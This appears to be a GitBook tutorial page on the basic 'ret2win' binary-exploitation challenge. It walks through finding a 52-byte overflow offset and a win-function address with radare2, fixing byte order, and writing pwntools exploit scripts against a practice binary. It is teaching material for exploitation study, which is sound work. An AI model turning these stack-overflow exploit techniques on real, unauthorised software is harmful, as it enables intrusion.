arrow-left

All pages
gitbookPowered by GitBook
1 of 1

Loading...

ret2win

The most basic binexp challenge

A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.

To carry this out, we have to leverage what we learnt in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.

To do this, what do we need to know? Well, a couple things:

  • The padding until we begin to overwrite the return pointer (EIP)

  • What value we want to overwrite EIP to

circle-exclamation

When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.

hashtag
Finding the Padding

This can be found using simple trial and error; if we send a variable numbers of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.

circle-info

You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.

We get an offset of 52 bytes.

hashtag
Finding the Address

Now we need to find the address of the flag() function in the binary. This is simple.

circle-info

afl stands for Analyse Functions List

The flag() function is at 0x080491c3.

hashtag
Using the Information

The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ascii codes 0x08, 0x04, 0x91 and 0xc3.

This is a lot simpler than you might think, because we can specify them in python as hex:

And that makes it much easier.

hashtag
Putting it Together

Now we know the padding and the value, let's exploit the binary! We can use to interface with the binary (check out the for a more in-depth look).

If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put in a pause() to give us time to attach radare2 onto the process.

Now let's run the script with python3 exploit.py and then open up a new terminal window.

By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.

0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is . Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (), and most binaries you will come across are little-endian. As far as we're concerned, the byte are stored in reverse order in little-endian executables.

hashtag
Finding the Endianness

radare2 comes with a nice tool called rabin2 for binary analysis:

So our binary is little-endian.

hashtag
Accounting for Endianness

The fix is simple - reverse the address (you can also remove the pause())

If you run this now, it will work:

And wham, you've called the flag() function! Congrats!

hashtag
Pwntools and Endianness

Unsurprisingly, you're not the first person to have thought "could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!

becomes

Much simpler, right?

The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:

Otherwise you will get a

hashtag
Final Exploit

file-archive
3KB
ret2win.zip
archive
arrow-up-right-from-squareOpen
ret2win
pwntoolsarrow-up-right
pwntools posts
endiannessarrow-up-right
for a reasonarrow-up-right
$ r2 -d -A vuln
$ afl
[...]
0x080491c3    1 43           sym.flag
[...]
address = '\x08\x04\x91\xc3'
from pwn import *        # This is how we import pwntools

p = process('./vuln')    # We're starting a new process

payload = 'A' * 52
payload += '\x08\x04\x91\xc3'

p.clean()                # Receive all the text

p.sendline(payload)

log.info(p.clean())      # Output the "Exploited!" string to know we succeeded
from pwn import *

p = process('./vuln')

payload = b'A' * 52
payload += '\x08\x04\x91\xc3'

log.info(p.clean())

pause()        # add this in

p.sendline(payload)

log.info(p.clean())
r2 -d -A $(pidof vuln)
[0x08049172]> db 0x080491aa
[0x08049172]> dc

<< press any button on the exploit terminal window >>

hit breakpoint at: 80491aa
[0x080491aa]> pxw @ esp
0xffdb0f7c  0xc3910408 [...]
[...]
$ rabin2 -I vuln
[...]
endian   little
[...]
payload += '\x08\x04\x91\xc3'[::-1]
$ python3 tutorial.py 
[+] Starting local process './vuln': pid 2290
[*] Overflow me
[*] Exploited!!!!!
payload += '\x08\x04\x91\xc3'[::-1]
payload += p32(0x080491c3)
payload = b'A' * 52        # Notice the "b"
TypeError: can only concatenate str (not "bytes") to str
from pwn import *            # This is how we import pwntools

p = process('./vuln')        # We're starting a new process

payload = b'A' * 52
payload += p32(0x080491c3)   # Use pwntools to pack it

log.info(p.clean())          # Receive all the text
p.sendline(payload)

log.info(p.clean())          # Output the "Exploited!" string to know we succeeded